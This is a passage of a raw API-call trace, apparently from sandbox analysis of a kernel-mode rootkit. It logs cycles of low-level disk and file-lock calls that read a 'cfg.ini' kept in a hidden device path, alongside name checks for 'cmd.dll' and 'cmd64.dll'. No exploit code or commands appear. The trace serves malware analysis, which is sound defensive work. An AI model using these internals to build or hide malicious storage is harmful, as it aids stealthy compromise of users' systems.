[0121.407] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.407] IdePortDispatch () returned 0x103 [0121.407] KeWaitForMutexObject () returned 0x0 [0121.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.407] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.407] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.407] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.407] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.407] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.407] KeLeaveCriticalRegion () [0121.407] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.407] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.407] KeEnterCriticalRegion () [0121.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.407] KeLeaveCriticalRegion () [0121.407] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.407] KeEnterCriticalRegion () [0121.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.407] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.407] IdePortDispatch () returned 0x103 [0121.408] KeWaitForMutexObject () returned 0x0 [0121.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.408] KeLeaveCriticalRegion () [0121.408] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.408] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.408] KeEnterCriticalRegion () [0121.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b21000 [0121.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.408] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.408] IdePortDispatch () returned 0x103 [0121.408] KeWaitForMutexObject () returned 0x0 [0121.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.408] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.408] IdePortDispatch () returned 0x103 [0121.408] KeWaitForMutexObject () returned 0x0 [0121.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] KeLeaveCriticalRegion () [0121.409] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.409] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.409] KeEnterCriticalRegion () [0121.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] KeLeaveCriticalRegion () [0121.409] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.409] KeEnterCriticalRegion () [0121.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.409] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] KeLeaveCriticalRegion () [0121.409] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.409] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.409] KeEnterCriticalRegion () [0121.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.409] KeLeaveCriticalRegion () [0121.409] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.409] ReleaseMutex (hMutex=0xf0) returned 1 [0121.409] Sleep (dwMilliseconds=0x124f80) [0121.423] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.423] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.423] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.423] KeEnterCriticalRegion () [0121.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.423] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.423] IdePortDispatch () returned 0x103 [0121.423] KeWaitForMutexObject () returned 0x0 [0121.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.424] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.424] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.424] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.424] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.424] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5d10 [0121.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.424] KeLeaveCriticalRegion () [0121.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.424] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.424] KeEnterCriticalRegion () [0121.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.424] KeLeaveCriticalRegion () [0121.424] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.424] KeEnterCriticalRegion () [0121.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.424] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.424] IdePortDispatch () returned 0x103 [0121.424] KeWaitForMutexObject () returned 0x0 [0121.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.424] KeLeaveCriticalRegion () [0121.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.424] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.424] KeEnterCriticalRegion () [0121.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.424] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2a000 [0121.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.425] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.425] IdePortDispatch () returned 0x103 [0121.425] KeWaitForMutexObject () returned 0x0 [0121.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.425] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.425] IdePortDispatch () returned 0x103 [0121.425] KeWaitForMutexObject () returned 0x0 [0121.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.425] KeLeaveCriticalRegion () [0121.425] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.426] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.426] KeEnterCriticalRegion () [0121.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] KeLeaveCriticalRegion () [0121.426] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.426] KeEnterCriticalRegion () [0121.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.426] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc52c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] KeLeaveCriticalRegion () [0121.426] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.426] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.426] KeEnterCriticalRegion () [0121.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] ExFreePoolWithTag (P=0xfffffa8003bc5d10, Tag=0x0) [0121.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.426] KeLeaveCriticalRegion () [0121.426] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.426] ReleaseMutex (hMutex=0xf0) returned 1 [0121.426] Sleep (dwMilliseconds=0x124f80) [0121.443] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.443] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.443] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.443] KeEnterCriticalRegion () [0121.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.443] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.443] IdePortDispatch () returned 0x103 [0121.443] KeWaitForMutexObject () returned 0x0 [0121.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.443] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.443] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.443] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.443] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.443] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc42d0 [0121.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.443] KeLeaveCriticalRegion () [0121.444] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.444] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.444] KeEnterCriticalRegion () [0121.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.444] KeLeaveCriticalRegion () [0121.444] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.444] KeEnterCriticalRegion () [0121.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.444] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.444] IdePortDispatch () returned 0x103 [0121.444] KeWaitForMutexObject () returned 0x0 [0121.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.444] KeLeaveCriticalRegion () [0121.444] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.444] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.444] KeEnterCriticalRegion () [0121.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2f000 [0121.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.444] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.444] IdePortDispatch () returned 0x103 [0121.444] KeWaitForMutexObject () returned 0x0 [0121.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.445] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.445] IdePortDispatch () returned 0x103 [0121.445] KeWaitForMutexObject () returned 0x0 [0121.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.445] KeLeaveCriticalRegion () [0121.445] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.445] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.445] KeEnterCriticalRegion () [0121.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.445] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.445] KeLeaveCriticalRegion () [0121.445] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.445] KeEnterCriticalRegion () [0121.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.445] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.445] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.446] KeLeaveCriticalRegion () [0121.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.446] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.446] KeEnterCriticalRegion () [0121.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.446] ExFreePoolWithTag (P=0xfffffa8003bc42d0, Tag=0x0) [0121.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.446] KeLeaveCriticalRegion () [0121.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.446] ReleaseMutex (hMutex=0xf0) returned 1 [0121.446] Sleep (dwMilliseconds=0x124f80) [0121.459] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.459] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.459] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.459] KeEnterCriticalRegion () [0121.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.459] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.459] IdePortDispatch () returned 0x103 [0121.459] KeWaitForMutexObject () returned 0x0 [0121.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.460] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.460] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.460] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.460] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.460] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.460] KeLeaveCriticalRegion () [0121.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.460] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.460] KeEnterCriticalRegion () [0121.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.460] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.460] KeLeaveCriticalRegion () [0121.460] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.460] KeEnterCriticalRegion () [0121.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.460] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.460] IdePortDispatch () returned 0x103 [0121.460] KeWaitForMutexObject () returned 0x0 [0121.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.460] 